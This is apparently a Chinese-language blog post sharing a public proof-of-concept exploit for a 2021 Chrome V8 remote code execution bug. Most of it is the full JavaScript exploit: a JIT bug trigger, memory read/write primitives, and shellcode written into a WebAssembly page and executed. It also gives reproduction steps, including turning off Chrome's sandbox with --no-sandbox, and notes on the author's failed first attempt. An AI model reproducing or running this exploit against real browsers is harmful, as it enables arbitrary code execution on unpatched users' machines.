Chrome最新0day RCE（2021/4/13）

關於Chrome

Chrome就是Google瀏覽器。。。

POC

Git鏈接

https://github.com/r4j0x00/exploits/tree/master/chrome-0day

POC

/*
/*
BSD 2-Clause License
Copyright (c) 2021, rajvardhan agarwal
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
	x = (_arr[0] ^ 0) + 1;

	x = Math.abs(x);
	x -= 2147483647;
	x = Math.max(x, 0);

	x -= 1;
	if(x==-1) x = 0;

	var arr = new Array(x);
	arr.shift();
	var cor = [1.1, 1.2, 1.3];

	return [arr, cor];
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
    arr[idx+1] = k;
    return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
    cor[0] = itof(k);
    return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    return (fake[0]);
}

function arbwrite(addr, val) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
copy_shellcode(rwx_page_addr, shellcode);
f();

將以上保存為js文件，在瀏覽器中加載即可

<script>1.js</script>

漏洞前提

1.版本Google Chrome <= 89.0.4389.114 目前最新版
2.關閉Google的沙箱
右擊Google快捷方式，在目標中追加 --args --no-sandbox

重啟之后的Chrome就是關閉沙箱

漏洞利用

1.這是我分別保存的js文件和html文件

2.使用Google瀏覽器打開1.html

。。。啥都沒有，嚶嚶嚶
3.參考大佬文章查看原因--未解決
此漏洞無法完成chrome的沙箱逃逸，默認情況下chrome開啟沙箱。可采用關閉沙箱逃逸的方式進行浮現，如需無條件rce還需要沙箱逃逸的漏洞。

emmm，我感覺可能是瀏覽器版本太高了

已解決（2021/4/13 17:35）：參考漏洞前提

參考

https://mp.weixin.qq.com/s/xlPlw9IT0F7YB6j_Uh9RkQ
http://www.hackdig.com/04/hack-322890.htm